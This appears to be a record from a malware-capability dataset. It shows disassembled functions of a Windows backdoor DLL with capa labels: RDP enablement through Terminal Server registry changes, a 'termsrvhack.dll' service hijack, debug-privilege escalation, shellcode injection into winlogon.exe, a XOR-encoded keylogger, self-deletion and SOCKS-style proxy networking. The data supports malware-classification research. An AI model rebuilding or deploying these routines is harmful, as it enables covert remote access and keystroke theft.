joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006380
Capabilities:
Copy file
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x208
push 0
push 2
push 0
push 4
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
push 0
push 0
push 0x1001a65c
push 1
push str.KeepRASConnections
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
push 0
push 0
push 0
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
add esp, 0x54
push 0
push 1
push 0
push 4
push str.EnableConcurrentSessions
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
add esp, 0x1c
call fcn.10006260
test al, al
je 0x100064dc
push esi
push 0
push 0
push str._SystemRoot__system32_termsrvhack.dll
push 2
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
add esp, 0x1c
call fcn.100062a0
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 4]
push 0x104
push eax
call esi
lea ecx, [esp + 0x108]
push 0x104
push ecx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 4]
push str._termsrvhack.dll
push edx
call esi
lea eax, [esp + 0x108]
push str.dllcache_termsrvhack.dll
push eax
call esi
lea ecx, [esp + 4]
push 0x1001a4c8
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edx, dword [esp + 0x21c]
mov esi, eax
mov eax, dword [esp + 0x218]
push esi
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
lea ecx, [esp + 0x108]
lea edx, [esp + 4]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 4]
push 7
push eax
call esi
lea ecx, [esp + 0x108]
push 7
push ecx
call esi
pop esi
push str.TermService
call fcn.10005080
xor al, al
add esp, 0x20c
ret

Function at 0x100064f0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10006511
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10006538
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10006585
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x10006650
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.100064f0
mov eax, dword [esp + 0x10c]
push eax
call fcn.1000e0f0
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x10006692
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push str.advapi32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x100067b2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x100067d9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x100067fd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x100065a0
push ebx
push esi
call ebp
test eax, eax
jne 0x1000681e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x10006e00
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x30c
push esi
push edi
mov esi, ecx
push str.UnInstallService
call fcn.10008050
mov ecx, dword [0x1001cbd8]
add esp, 4
lea eax, [esp + 0x210]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0xc]
push str._d.bak
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x210]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [esp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [esp + 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10c]
push str.keylog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x10c]
push edx
call edi
cmp dword [esi + 0x9f58], 0x120
je 0x10006ec5
lea eax, [esi + 0x114]
push eax
push str.winlogon.exe
call fcn.10006650
add esp, 8
jmp 0x10006ed4
lea ecx, [esi + 0x114]
push ecx
call fcn.10004f50
add esp, 4
add esi, 0x214
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea edx, [esp + 8]
push edx
call edi
pop edi
pop esi
add esp, 0x30c
ret
Function at 0x10007430
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001cbd0]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000747d
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x100074ab
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x1000749f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x100074e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x1000762c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x1000762c
cmp esi, 0x80
ja 0x1000762c
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001cbd0]
cmp eax, dword [edx + 8]
je 0x100075d6
mov dword [edx + 8], eax
mov ecx, dword [0x1001cbd0]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.100074e0
mov edx, dword [0x1001cbd0]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x100075ec
push ebx
call fcn.10007430
mov edx, dword [0x1001cbd0]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x10007617
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001cbd0]
mov dword [edx], eax
mov edx, dword [0x1001cbd0]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001cbd0]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x10007880
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x100165f4
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.10007950
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x1001cbd4], eax
jne 0x100078f3
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10007913
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001cbd0], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x1000792e
test eax, eax
je 0x10007927
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10007942
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10007c90
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str.keylog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10007d32
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10007d1d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10007d0f
push edi
push esi
mov ecx, ebp
call fcn.10007c30
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret

Function at 0x10008000
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.10007ea0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x10008048
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x79
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x10008022
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x10008050
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x1000
call fcn.100154c0
mov ecx, dword [esp + 0x1004]
lea eax, [esp + 0x1008]
push eax
push ecx
lea edx, [esp + 8]
push 0x1000
push edx
call dword [sym.imp.MSVCRT.dll__vsnprintf]
add esp, 0x10
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
add esp, 0x1000
ret
Function at 0x100084b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__strnicmp]
lea esi, [ebp + 0x20]
push 4
push str.GET
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x100084dc
pop edi
pop esi
pop ebp
mov eax, 4
pop ebx
ret
push 5
push str.HEAD
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x100084f7
pop edi
pop esi
pop ebp
mov eax, 5
pop ebx
ret
push 5
push str.POST
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x10008512
pop edi
pop esi
pop ebp
mov eax, 5
pop ebx
ret
push 8
push str.CONNECT
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x1000852d
pop edi
pop esi
pop ebp
mov eax, 8
pop ebx
ret
mov al, byte [esi]
xor ebx, ebx
cmp al, 5
mov byte [esp + 0x14], 5
mov byte [esp + 0x15], bl
je 0x10008550
cmp al, 4
jne 0x10008599
pop edi
mov byte [ebp + 1], 2
pop esi
pop ebp
mov eax, 2
pop ebx
ret
mov al, byte [esi + 2]
cmp al, bl
je 0x10008562
cmp al, 2
je 0x10008562
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov edi, 0x1001cce0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1000857d
mov byte [esp + 0x15], bl
mov byte [ebp + 6], 1
jmp 0x10008582
mov byte [esp + 0x15], 2
mov ecx, dword [ebp + 0x18]
push ebx
lea eax, [esp + 0x18]
push 2
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100085a0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, 3
pop edi
mov dword [ebp + 0x2c30], ebx
mov dword [ebp + 0x2c2c], ebx
mov byte [ebp + 1], al
pop esi
pop ebp
pop ebx
ret

Function at 0x10008780
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10008790
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x100087a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x20]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push ecx
mov dword [esp + 0x10], eax
mov word [esp + 8], 2
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esp + 0x20]
mov word [esp + 6], ax
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 6
push 1
push 2
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x18]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x100087fa
xor al, al
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
push 0x30
push 0x401
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
jne 0x10008819
xor al, al
pop esi
add esp, 0x10
ret
mov eax, dword [esi]
push 0
push 0
push 0
push 0
lea edx, [esp + 0x14]
push 0x10
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
mov al, 1
pop esi
add esp, 0x10
ret
Function at 0x10008840
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x200
mov ecx, 0x40
xor eax, eax
push ebp
mov ebp, dword [esp + 0x208]
push edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x108]
rep stosd dword es:[edi], eax
cmp byte [ebp + 0x20], 1
je 0x1000887b
pop edi
xor eax, eax
pop ebp
add esp, 0x200
ret
mov al, byte [ebp + 0x21]
push esi
test al, al
je 0x100088a8
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x100088a8
mov edx, ecx
lea esi, [ebp + 0x22]
lea edi, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 0x22]
test ecx, ecx
je 0x100088d7
cmp ecx, 0x100
jg 0x100088d7
lea esi, [eax + 0x23]
mov eax, ecx
lea edi, [esp + 0x10c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0xc]
mov eax, 0x1001cce0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10008904
test cl, cl
je 0x10008900
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10008904
add eax, 2
add esi, 2
test cl, cl
jne 0x100088e0
xor eax, eax
jmp 0x10008909
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000894f
lea esi, [esp + 0x10c]
mov eax, 0x1001cbe0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000893d
test cl, cl
je 0x10008939
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000893d
add eax, 2
add esi, 2
test cl, cl
jne 0x10008919
xor eax, eax
jmp 0x10008942
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000894f
mov byte [ebp + 0x21], al
mov byte [ebp + 6], 1
jmp 0x10008953
mov byte [ebp + 0x21], 0xff
push 0
lea eax, [ebp + 0x20]
push 2
push eax
mov eax, dword [ebp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
pop esi
jne 0x10008976
pop edi
xor eax, eax
pop ebp
add esp, 0x200
ret
mov dword [ebp + 0x2c30], 0
mov dword [ebp + 0x2c2c], 0
pop edi
mov eax, 1
pop ebp
add esp, 0x200
ret
Function at 0x10008c20
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x14
push ebp
push 0x1001c6b8
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
test ebp, ebp
je 0x10008cfd
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
cmp dword [eax + ecx], 0
je 0x10008d06
mov edx, dword [esp + 0x28]
xor ebx, ebx
mov byte [edx], 0
cmp word [ebp + 0xa], bx
jle 0x10008cf3
test ebx, ebx
jle 0x10008c98
mov edi, 0x1001a2c0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx]
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [edx + ebx]
push eax
push 0x1001a9f0
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
movsx eax, word [ebp + 0xa]
cmp ebx, eax
jl 0x10008c68
add dword [esp + 0x10], 4
jmp 0x10008c44
mov eax, dword [esp + 0x1c]
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x28]
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x14
ret

Function at 0x10008d20
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10008d6e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10008d8b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10008c20
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10008de0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10008e1b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10008e22
sub esi, eax
add edi, eax
test esi, esi
jg 0x10008df6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret